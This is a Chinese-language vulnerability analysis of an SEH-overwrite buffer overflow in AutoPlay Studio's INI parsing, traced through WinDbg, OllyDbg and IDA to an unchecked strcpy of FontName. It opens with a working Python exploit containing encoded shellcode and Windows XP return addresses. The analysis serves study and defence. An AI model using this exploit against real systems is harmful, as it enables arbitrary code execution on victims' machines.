作者:k0shl 转载请注明出处
漏洞说明
软件下载:
https://www.exploit-db.com/apps/6dea54a32a14690f2bb930e9a37ea9fb-autoplay.zip
PoC:
from struct import *
import time
f=open('AutoPlay.ini','w')
shell=('\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x61'
'\x28\x38\x56\x83\xeb\xfc\xe2\xf4\x9d\xc0\x7c\x56\x61\x28\xb3\x13'
'\x5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd3\x1f'
'\xea\x1c\xb3\x57\x8f\x19\xf8\xcf\xcd\xac\xf8\x22\x66\xe9\xf2\x5b'
'\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30'
'\xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xa1\x64\x72'
'\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd'
'\x11\x34\x95\xdd\x09\x20\xd3\x5f\xea\xa8\x88\x56\x61\x28\xb3\x3e'
'\x5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52'
'\x3e\x40\xa0\xa8\xeb\x26\x6f\xa9\x86\x4b\x59\x3a\x02\x28\x38\x56');
head=('\x5b\x47\x65\x6e\x65\x72\x61\x6c\x5d\x0d\x0a\x54\x69\x74\x6c\x65'
'\x3d\x41\x20\x73\x61\x6d\x70\x6c\x65\x20\x6f\x66\x20\x77\x68\x61'
'\x74\x20\x41\x75\x74\x6f\x50\x6c\x61\x79\x20\x63\x61\x6e\x20\x64'
'\x6f\x21\x0d\x0a\x49\x63\x6f\x6e\x3d\x2e\x5c\x61\x75\x74\x6f\x70'
'\x6c\x61\x79\x2e\x69\x63\x6f\x0d\x0a\x53\x74\x61\x72\x74\x75\x70'
'\x53\x6f\x75\x6e\x64\x3d\x2e\x5c\x64\x72\x75\x6d\x72\x6f\x6c\x6c'
'\x2e\x77\x61\x76\x0d\x0a\x45\x78\x69\x74\x53\x6f\x75\x6e\x64\x3d'
'\x2e\x5c\x65\x78\x70\x6c\x6f\x64\x65\x2e\x77\x61\x76\x0d\x0a\x4e'
'\x75\x6d\x62\x65\x72\x4f\x66\x42\x75\x74\x74\x6f\x6e\x73\x3d\x37'
'\x0d\x0a\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x42\x69\x74\x6d'
'\x61\x70\x3d\x2e\x5c\x73\x70\x6c\x61\x73\x68\x2e\x6a\x70\x67\x0d'
'\x0a\x4e\x75\x6d\x62\x65\x72\x4f\x66\x43\x6f\x6d\x62\x6f\x73\x3d'
'\x31\x0d\x0a\x0d\x0a\x5b\x42\x75\x74\x74\x6f\x6e\x31\x5d\x0d\x0a'
'\x43\x6f\x6d\x6d\x61\x6e\x64\x54\x79\x70\x65\x3d\x31\x0d\x0a\x43'
'\x6f\x6d\x6d\x61\x6e\x64\x3d\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e'
'\x65\x78\x65\x0d\x0a\x46\x6c\x79\x62\x79\x53\x6f\x75\x6e\x64\x3d'
'\x2e\x5c\x68\x6f\x76\x65\x72\x73\x65\x6c\x2e\x77\x61\x76\x0d\x0a'
'\x4c\x65\x66\x74\x3d\x38\x33\x0d\x0a\x54\x6f\x70\x3d\x31\x33\x0d'
'\x0a\x54\x65\x78\x74\x43\x6f\x6c\x6f\x72\x3d\x32\x35\x35\x2c\x30'
'\x2c\x30\x0d\x0a\x48\x69\x67\x68\x6c\x69\x67\x68\x74\x43\x6f\x6c'
'\x6f\x72\x3d\x32\x35\x35\x2c\x32\x35\x35\x2c\x30\x0d\x0a\x43\x61'
'\x70\x74\x69\x6f\x6e\x3d\x52\x75\x6e\x20\x57\x69\x6e\x64\x6f\x77'
'\x73\x20\x45\x78\x70\x6c\x6f\x72\x65\x72\x0d\x0a\x46\x6f\x6e\x74'
'\x53\x69\x7a\x65\x3d\x32\x34\x0d\x0a\x46\x6f\x6e\x74\x4e\x61\x6d'
'\x65\x3d')
junk='\x41'*32
junk1='\x41'*92
nseh='\xeb\x06\x90\x90'
seh='\x62\xce\x86\x7c' # pop pop ret
esp='\x7b\x46\x86\x7c' # jmp esp
try:
f.write(head+junk+esp+junk1+nseh+seh+shell)
f.close()
print('File created')
except:
print('File cannot be created')
测试环境:
Windows xp sp3
IDA pro
Windbg
利用PoC生成一个.ini的配置文件,覆盖AutoPlay下的.ini文件,打开AutoPlay,触发漏洞。
漏洞复现
此漏洞是由于AutoPlay Studio在处理ini配置文件时,由于某函数对FontName长度没有检查,导致FontName进行拷贝时发生了缓冲区溢出,通过覆盖SEH指针,接管程序执行流程,从而控制程序,在这个漏洞中,我学习到了在回溯时遇到堆栈被严重破坏,无法回溯漏洞现场,通过阅读poc,结合od断点,从而正向推导出问题所在的一种新的方法,下面对此漏洞进行详细分析。
首先我们通过提供的exploit生成一个存在漏洞的AutoPlay.ini文件,这里我重新构造了一个新的poc,稍后会将pocsuite版本的poc提交,打开AutoPlay Studio文件,将poc拖入,程序崩溃,附加Windbg,打到漏洞现场。
(1b0.450): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=003b7808 ecx=0000000c edx=003baee0 esi=003bb440 edi=003bad80
eip=41414141 esp=0012f538 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41414141 ?? ???
可以看到此时程序已经到达41414141这个不可执行的位置,那么我们通过kb回溯一下堆栈调用
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f534 41414141 41414141 41414141 41414141 0x41414141
00000000 00000000 00000000 00000000 00000000 0x41414141
可以看到,此时堆栈调用已经完全被破坏,没法回溯到到达漏洞触发位置之前的情况,那么我们不能通过这种回溯方法定位到漏洞触发的位置,于是有了接下来的分析过程。
漏洞分析
我们重新打开AutoPlay.ini看看PoC中的代码部分
[General]
Title=A sample of what AutoPlay can do!
Icon=.\autoplay.ico
StartupSound=.\drumroll.wav
ExitSound=.\explode.wav
NumberOfButtons=7
BackgroundBitmap=.\splash.jpg
NumberOfCombos=1
[Button1]
CommandType=1
Command=explorer.exe
FlybySound=.\hoversel.wav
Left=83
Top=13
TextColor=255,0,0
HighlightColor=255,255,0
Caption=Run Windows Explorer
FontSize=24
FontName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
我们可以看到这个文件的FontName部分覆盖了我们构造的畸形字符串,那么在Auto Play Studio加载这个文件的时候,可能有获取路径的操作,之后,才能够打开文件,再读取其中的配置信息。
我们用OD重新加载AutoPlay Studio,我们通过查看模块间调用,发现了如下几个调用点。
第一处
找到的模块间的调用, 条目 375
地址=00404ABF
反汇编=call dword ptr ds:[<&MSVCRT._splitpath>]
目标文件=msvcrt._splitpath
第二处
找到的模块间的调用, 条目 376
地址=00404AE7
反汇编=call dword ptr ds:[<&MSVCRT._makepath>]
目标文件=msvcrt._makepath
第三处
找到的模块间的调用, 条目 399
地址=00404D3D
反汇编=call dword ptr ds:[<&KERNEL32.SetCurrentDirectoryA>]
目标文件=kernel32.SetCurrentDirectoryA
这三处call指令中,makepath,splitpath和SetCurrentDirectory都是MFC中对于路径操作常用的几个函数,那么我们有理由怀疑这三处调用可能会在执行ini配置前发生调用。
而这三处调用其实在整个exe的执行流程中非常多,我们需要通过在每条命令上设置断点来在此exe中所有的call函数中下断点,确保如果真的执行命中了这个断点位置可以中断,以此来复现漏洞发生的过程。
重新加载程序,F9运行,中间如果有中断全部跳过,之后我们将PoC载入,这时会发生中断。
004026D2 . 50 push eax ; |dir = 0012F5F4
004026D3 . 51 push ecx ; |drive = 0012F5B0
004026D4 . 57 push edi ; |path = "C:\Documents and Settings\Administrator\桌面\AutoPlay.ini"
004026D5 . FF15 54874100 call dword ptr ds:[<&MSVCRT._splitpath>] ; \_splitpath
查看一下目前栈里的情况
0012F588 0012FA5C |path = "C:\Documents and Settings\Administrator\桌面\AutoPlay.ini"
0012F58C 0012F5B0 |drive = 0012F5B0
0012F590 0012F5F4 |dir = 0012F5F4
0012F594 00000000 |name = NULL
0012F598 00000000 \ext = NULL
可以看到确实获取到了配置文件的路径,那么004026D5就是目前第一个我们获取到的断点,接下来我们继续F9执行,程序又一次中断。
004026DB . 6A 00 push 0x0 ; /ext = NULL
004026DD . 8D5424 70 lea edx,dword ptr ss:[esp+0x70] ; |
004026E1 . 6A 00 push 0x0 ; |name = NULL
004026E3 . 8D4424 30 lea eax,dword ptr ss:[esp+0x30] ; |
004026E7 . 52 push edx ; |dir = "\Documents and Settings\Administrator\桌面\"
004026E8 . 8D8C24 7C0100>lea ecx,dword ptr ss:[esp+0x17C] ; |
004026EF . 50 push eax ; |drive = "C:"
004026F0 . 51 push ecx ; |path = 0012F6F8
004026F1 . FF15 50874100 call dword ptr ds:[<&MSVCRT._makepath>] ; \_makepath
我们继续查看一下栈中的情况
0012F574 0012F6F8 |path = 0012F6F8
0012F578 0012F5B0 |drive = "C:"
0012F57C 0012F5F4 |dir = "\Documents and Settings\Administrator\桌面\"
0012F580 00000000 |name = NULL
0012F584 00000000 \ext = NULL
0012F588 0012FA89 ASCII "AutoPlay.ini"
0012F58C 0012F5B0 ASCII "C:"
0012F590 0012F5F4 ASCII "\Documents and Settings\Administrator\桌面\"
可以看到之前的splitpath确实执行了,下一步是makepath,这些对路径的操作可以略过,因为这并不是漏洞触发的关键,但至少我们断住了,其实从现在开始我们单步跟踪,就一定能来到漏洞发生的位置,但其实不用,接下来,我们继续F9执行。
0040275C > \51 push ecx ; /Path = "C:\Documents and Settings\Administrator\桌面"
0040275D . FF15 5C804100 call dword ptr ds:[<&KERNEL32.SetCurrentDirectoryA>] ; \SetCurrentDirectoryA
程序再次中断,这时到达SetCurrentDirectory的位置,我们不再查看堆栈,因为这里仍然是对路径的操作,继续F9。
00401F3C |. 50 push eax ; /lParam = 0x4010169
00401F3D |. 6A 01 push 0x1 ; |wParam = 0x1
00401F3F |. 68 80000000 push 0x80 ; |Message = WM_SETICON
00401F44 |. 8B4E 20 mov ecx,dword ptr ds:[esi+0x20] ; |
00401F47 |. 51 push ecx ; |hWnd = 0x3B0120
00401F48 |. FF15 18884100 call dword ptr ds:[<&USER32.SendMessageA>] ; \SendMessageA
到达call SendMessageA的位置,这里查看一下栈中的情况。
0012F528 002A010A |hWnd = 0x2A010A
0012F52C 00000080 |Message = WM_SETICON
0012F530 00000001 |wParam = 0x1
0012F534 01050207 \lParam = 0x1050207
0012F538 0012FA5C ASCII "C:\Documents and Settings\Administrator\桌面\AutoPlay.ini"
可能和路径文件传递消息相关了,我们继续F9,直接到达了漏洞现场,那么我们可以在这一处中断后单步跟踪了。
重新启动程序,一路F9,到达SendMessageA的位置,开始单步跟踪,到达一处call调用。
00402107 |. 6A 00 |push 0x0
00402109 |. 56 |push esi
0040210A |. 8BCF |mov ecx,edi
0040210C |. C74424 64 FFF>|mov dword ptr ss:[esp+0x64],-0x1
00402114 |. E8 27400000 |call APStudio.00406140
在这处调用时选择F8步过,我们发现直接到达了漏洞现场,那么可以确定漏洞位于00402114这里call调用函数的内层,重启程序,再次到达这个位置的时候,我们查看一下栈中的情况。
0012F530 003CB408
0012F534 00000000
0012F538 0012FA5C ASCII "C:\Documents and Settings\Administrator\桌面\AutoPlay.ini"
这里可以看到传入参数,我们用ida查看一下00402114对应call函数的伪代码
int __thiscall sub_406140(void *this, int a2, int a3)
可以看到具体的指针调用,随后我们进入这个函数进行单步调试,先查看一下函数内部的代码情况。
00406140 /$ 83EC 3C sub esp,0x3C
00406143 |. 8B4424 40 mov eax,dword ptr ss:[esp+0x40]
00406147 |. 53 push ebx
00406148 |. 8BD9 mov ebx,ecx
0040614A |. 56 push esi
0040614B |. 57 push edi
0040614C |. 50 push eax
0040614D |. 8D4B 58 lea ecx,dword ptr ds:[ebx+0x58]
00406150 |. E8 FB2A0000 call APStudio.00408C50
00406155 |. 8B4C24 50 mov ecx,dword ptr ss:[esp+0x50]
00406159 |. 33C0 xor eax,eax
0040615B |. 898B DC000000 mov dword ptr ds:[ebx+0xDC],ecx
00406161 |. B9 0F000000 mov ecx,0xF
00406166 |. 8D7C24 0C lea edi,dword ptr ss:[esp+0xC]
0040616A |. 8B93 9C000000 mov edx,dword ptr ds:[ebx+0x9C]
00406170 |. F3:AB rep stos dword ptr es:[edi]
00406172 |. 8BBB A0000000 mov edi,dword ptr ds:[ebx+0xA0] ; APStudio.0041A0C8
00406178 |. 83C9 FF or ecx,-0x1
0040617B |. 895424 0C mov dword ptr ss:[esp+0xC],edx ; ntdll.KiFastSystemCallRet
0040617F |. 8D5424 28 lea edx,dword ptr ss:[esp+0x28]
00406183 |. F2:AE repne scas byte ptr es:[edi]
00406185 |. F7D1 not ecx
00406187 |. 2BF9 sub edi,ecx
00406189 |. 8BC1 mov eax,ecx
0040618B |. 8BF7 mov esi,edi
0040618D |. 8BFA mov edi,edx ; ntdll.KiFastSystemCallRet
0040618F |. 8B93 A4000000 mov edx,dword ptr ds:[ebx+0xA4]
00406195 |. C1E9 02 shr ecx,0x2
00406198 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi]
0040619A |. 8BC8 mov ecx,eax
0040619C |. 83E1 03 and ecx,0x3
0040619F |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi]
004061A1 |. 8B8B A8000000 mov ecx,dword ptr ds:[ebx+0xA8] ; APStudio.00418EB0
004061A7 |. F7D9 neg ecx
004061A9 |. 1BC9 sbb ecx,ecx
004061AB |. 33C0 xor eax,eax
004061AD |. 81E1 2C010000 and ecx,0x12C
004061B3 |. 81C1 90010000 add ecx,0x190
004061B9 |. 3BD0 cmp edx,eax
004061BB |. 894C24 1C mov dword ptr ss:[esp+0x1C],ecx
004061BF |. B1 01 mov cl,0x1
004061C1 |. 74 04 je short APStudio.004061C7
004061C3 |. 884C24 20 mov byte ptr ss:[esp+0x20],cl
004061C7 |> 3983 AC000000 cmp dword ptr ds:[ebx+0xAC],eax
004061CD |. 74 04 je short APStudio.004061D3
004061CF |. 884C24 21 mov byte ptr ss:[esp+0x21],cl
004061D3 |> 8D5424 0C lea edx,dword ptr ss:[esp+0xC]
004061D7 |. 884424 23 mov byte ptr ss:[esp+0x23],al
004061DB |. 52 push edx ; /pLogfont = ntdll.KiFastSystemCallRet
004061DC |. 884424 28 mov byte ptr ss:[esp+0x28],al ; |
004061E0 |. 884424 29 mov byte ptr ss:[esp+0x29],al ; |
004061E4 |. 884424 2A mov byte ptr ss:[esp+0x2A],al ; |
004061E8 |. 884424 2B mov byte ptr ss:[esp+0x2B],al ; |
004061EC |. FF15 34804100 call dword ptr ds:[<&GDI32.CreateFontIndirectA>] ; \CreateFontIndirectA
004061F2 |. 50 push eax
004061F3 |. 8D4B 44 lea ecx,dword ptr ds:[ebx+0x44]
004061F6 |. E8 9BE70000 call <jmp.&MFC42.#1641>
004061FB |. 5F pop edi ; APStudio.00402119
004061FC |. 5E pop esi ; APStudio.00402119
004061FD |. 5B pop ebx ; APStudio.00402119
004061FE |. 83C4 3C add esp,0x3C
00406201 \. C2 0800 retn 0x8
当我们执行到
00406172 |. 8BBB A0000000 mov edi,dword ptr ds:[ebx+0xA0]
可以看到edi的变化
ds:[003CB970]=00B70058, (ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
edi=00B70058, (ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
其实由这一步和上面几步可以推断,ebx可能是一个结构体指针,而它偏移+0xA0位置地址所存放的值就是FontName的部分,那么接下来有可能是对FontName的操作,在这之前的操作,是对指针的初始化和赋值。
接下来我们执行到
0040618B |. 8BF7 mov esi,edi
这里将edi的地址交给esi,也就是此时畸形字符串已经传给esi了,接下来
0040618D |. 8BFA mov edi,edx
这里将edx的地址交给edi,而此时edx的值是多少呢
EDX 0012F50C
正是栈中的一个位置,那么接下来
00406195 |. C1E9 02 shr ecx,0x2
00406198 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi]
0040619A |. 8BC8 mov ecx,eax
在00406198位置就是漏洞触发的关键点,这里对esi直接拷贝到edi,而没有进行长度检查,而此时的edi是栈中的一个地址,esi进行超长字符的拷贝,拷贝之后包括返回地址,SEH指针全部被畸形字符串覆盖。
0012F574 41414141
0012F578 41414141
0012F57C 41414141
0012F580 41414141
0012F584 41414141
0012F588 41414141
0012F58C 41414141 指向下一个 SEH 记录的指针
0012F590 41414141 SE处理程序
0012F594 41414141
0012F598 41414141
当程序返回后,由于地址无效会触发SEH异常函数处理,这里通过SEH指针的覆盖,可以达到控制程序执行任意代码的目的,接下来我们来看看这个函数的伪代码。
int __thiscall sub_406140(void *this, int a2, int a3)
{
void *v3; // ebx@1
LONG v4; // edx@1
const char *v5; // edi@1
int v6; // edx@1
HFONT v8; // eax@5
LOGFONTA lf; // [sp+Ch] [bp-3Ch]@1
v3 = this;
sub_408C50(a2);
*((_DWORD *)v3 + 55) = a3;
v4 = *((_DWORD *)v3 + 39);
memset(&lf, 0, sizeof(lf));
v5 = (const char *)*((_DWORD *)v3 + 40);
lf.lfHeight = v4;
strcpy(lf.lfFaceName, v5);
v6 = *((_DWORD *)v3 + 41);
lf.lfWeight = *((_DWORD *)v3 + 42) != 0 ? 700 : 400;
if ( v6 )
lf.lfItalic = 1;
if ( *((_DWORD *)v3 + 43) )
lf.lfUnderline = 1;
lf.lfCharSet = 0;
lf.lfOutPrecision = 0;
lf.lfClipPrecision = 0;
lf.lfQuality = 0;
lf.lfPitchAndFamily = 0;
v8 = CreateFontIndirectA(&lf);
return CGdiObject__Attach((char *)v3 + 68, v8);
}
这里可以看到v3就是那个结构体指针,在v5处赋值会将畸形字符串拷入,这里并没有用sizeof(v5)进行if判断,而是直接strcpy,从而导致了漏洞发生。